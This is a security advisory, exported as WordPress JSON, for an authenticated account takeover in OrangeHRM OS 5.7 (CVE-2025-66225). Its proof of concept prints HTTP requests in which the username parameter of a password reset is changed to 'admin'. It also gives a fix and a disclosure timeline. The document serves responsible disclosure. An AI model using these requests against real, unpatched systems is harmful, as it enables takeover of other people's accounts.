{"id":24558,"date":"2025-12-01T13:52:32","date_gmt":"2025-12-01T12:52:32","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=24558"},"modified":"2025-12-10T14:26:25","modified_gmt":"2025-12-10T13:26:25","slug":"usd-2025-0046","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2025-0046\/","title":{"rendered":"usd-2025-0046"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.21.0\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.25.2\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.27.4\" _module_preset=\"default\" custom_padding=\"||13px|||\" hover_enabled=\"0\" global_colors_info=\"{}\" sticky_enabled=\"0\"]<\/p>\n<h1>usd-2025-46 | OrangeHRM OS 5.7 - Authenticated Account Takeover via Insecure Password Reset<\/h1>\n<h1><\/h1>\n<p><strong>Product<\/strong>: OrangeHRM OS<br \/><strong>Affected Version<\/strong>: 5.7<br \/><strong>Vulnerability Type<\/strong>: Weak Password Recovery Mechanism for Forgotten Password (CWE-640)<br \/><strong>Security Risk<\/strong>: High<br \/><strong>Vendor<\/strong>: OrangeHRM Inc<br \/><strong>Vendor URL<\/strong>: <a href=\"https:\/\/www.orangehrm.com\/\" target=\"_blank\" rel=\"noopener\">https:\/\/www.orangehrm.com\/<\/a><br \/><strong>Vendor acknowledged vulnerability<\/strong>: Yes<br \/><strong>Vendor Status<\/strong>: Fixed<br \/><strong>CVE Number<\/strong>: CVE-2025-66225<br \/><strong>CVE Link<\/strong>: <a href=\"https:\/\/www.cve.org\/CVERecord?id=CVE-2025-66225\" target=\"_blank\" rel=\"noopener\">https:\/\/www.cve.org\/CVERecord?id=CVE-2025-66225<\/a><br \/><strong>Advisory ID<\/strong>: usd-2025-46<\/p>\n<h3>Description<\/h3>\n<p>OrangeHRM describes itself as a comprehensive Human Resource Management (HRM) System that captures all the essential functionalities required for any enterprise. OrangeHRM OS is its open source version.<\/p>\n<p>Version 5.7 of OrangeHRM allows authenticated attackers to take over arbitrary other accounts, including administrative accounts, via a vulnerability in the password reset process.<\/p>\n<h3>Proof of Concept<\/h3>\n<p>First, a password reset is initiated for an arbitrary account to which the attacker has access via the <em>Forgot your password?<\/em> link on the login page. It is important that the account is configured such that the attacker receives the password reset e-mail. The password reset e-mail contains a link that marks the next step in the password reset process.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/11\/reset-initial.png\" width=\"970\" height=\"625\" alt=\"\" class=\"wp-image-24560 alignnone size-full\" srcset=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/11\/reset-initial.png 970w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/11\/reset-initial-480x309.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) 970px, 100vw\" \/><\/p>\n<p>When completing the form, a request such as shown in the following listing is sent.<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"nf\" style=\"background: #263238;color: #82aaff\">POST<\/span> <span class=\"nn\" style=\"background: #263238;color: #ffcb6b\">\/web\/index.php\/auth\/resetPassword<\/span> <span class=\"kr\" style=\"background: #263238;color: #bb80b3\">HTTP<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">\/<\/span><span class=\"m\" style=\"background: #263238;color: #f78c6c\">1.1\n<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Host<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">10.3.161.14\n<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Cookie<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">_orangehrm=j5bqlmhnuhfg05oenp7n6cjkao\n<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Content-Type<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">application\/x-www-form-urlencoded\n<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Content-Length<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">204\n<\/span><span class=\"err\" style=\"background: #263238;color: #ff5370\">[...]<\/span><\/pre>\n<p>&nbsp;<\/p>\n<p><span class=\"nt\" style=\"background: #263238;color: #ff5370\">_token<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">674e0cfd8763884[...]2yw<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&amp;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">username<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">attacker<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&amp;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">password<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">Password123456%21<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&amp;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">confirmPassword<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">Password123456%21<\/span><\/p>\n<\/div>\n<p>The request contains the username for which the password is changed. That parameter can be changed arbitrarily in the request to reset the password of another user. For example, intercepting the above request and modifying it to the request shown in the following listing changes the password for the <strong>admin<\/strong> user.<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"nf\" style=\"background: #263238;color: #82aaff\">POST<\/span> <span class=\"nn\" style=\"background: #263238;color: #ffcb6b\">\/web\/index.php\/auth\/resetPassword<\/span> <span class=\"kr\" style=\"background: #263238;color: #bb80b3\">HTTP<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">\/<\/span><span class=\"m\" style=\"background: #263238;color: #f78c6c\">1.1\n<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Host<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">10.3.161.14\n<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Cookie<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">_orangehrm=j5bqlmhnuhfg05oenp7n6cjkao\n<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Content-Type<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">application\/x-www-form-urlencoded\n<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Content-Length<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">201\n<\/span><span class=\"err\" style=\"background: #263238;color: #ff5370\">[...]\n\n<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">_token<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">674e0cfd8763884[...]2yw<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&amp;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">username<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">admin<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&amp;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">password<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">Password123456%21<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&amp;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">confirmPassword<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">Password123456%21<\/span><\/pre>\n<\/div>\n<p>The attacker can now login into account <strong>admin<\/strong> with password <strong>Password123456!<\/strong>.<\/p>\n<p>Note that the <strong>_token<\/strong> parameter is a CSRF-token. It is specifically scoped to that stage in the password reset process and can only be used once such that no other CSRF-token can be used. This is the reason why the <strong>resetPassword<\/strong> endpoint cannot be accessed without having an arbitrary but valid password reset link and thus requires attackers to have access to an arbitrary account first.<\/p>\n<h3>Fix<\/h3>\n<p>The <strong>resetPassword<\/strong> endpoint should verify that the <strong>username<\/strong> parameter matches to the one for which a password reset has been initiated via the reset link.<\/p>\n<h3>References<\/h3>\n<ul>\n<li><a href=\"https:\/\/github.com\/orangehrm\/orangehrm\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/orangehrm\/orangehrm<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/orangehrm\/orangehrm\/security\/advisories\/GHSA-5ghw-9775-v263\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/orangehrm\/orangehrm\/security\/advisories\/GHSA-5ghw-9775-v263<\/a><\/li>\n<\/ul>\n<h3>Timeline<\/h3>\n<ul>\n<li><strong>2025-09-12<\/strong>: First contact request via e-mail.<\/li>\n<li><strong>2025-09-15<\/strong>: Vulnerability details have been transmitted through an encrypted channel.<\/li>\n<li><strong>2025-10-07<\/strong>: Asked vendor for an update.<\/li>\n<li><strong>2025-10-08<\/strong>: Vendor has confirmed the vulnerability and initiated remediation.<\/li>\n<li><strong>2025-11-11<\/strong>: Vendor has asked to extend the disclosure timeline while QA testing and finalizing the patch.<\/li>\n<li><strong>2025-11-11<\/strong>: We agreed to extend the timeline.<\/li>\n<li><strong>2025-11-28<\/strong>:\u00a0The vendor has released a patch (v5.8)<\/li>\n<li><strong>2025-12-01<\/strong>: This advisory is published.<\/li>\n<\/ul>\n<h3>Credits<\/h3>\n<p>This security vulnerability was identified by Florian Dewald, Roman Hergenreder, Florian Kimmes, DR, Jakob Steeg, and Ole Wagner of usd AG.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2025-46 | OrangeHRM OS 5.7 - Authenticated Account Takeover via Insecure Password Reset Product: OrangeHRM OSAffected Version: 5.7Vulnerability Type: Weak Password Recovery Mechanism for Forgotten Password (CWE-640)Security Risk: HighVendor: OrangeHRM IncVendor URL: https:\/\/www.orangehrm.com\/Vendor acknowledged vulnerability: YesVendor Status: FixedCVE Number: CVE-2025-66225CVE Link: https:\/\/www.cve.org\/CVERecord?id=CVE-2025-66225Advisory ID: usd-2025-46 Description OrangeHRM describes itself as a comprehensive Human Resource Management (HRM) [&hellip;]<\/p>\n","protected":false},"author":118,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-24558","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/24558","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/118"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=24558"}],"version-history":[{"count":4,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/24558\/revisions"}],"predecessor-version":[{"id":24693,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/24558\/revisions\/24693"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=24558"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}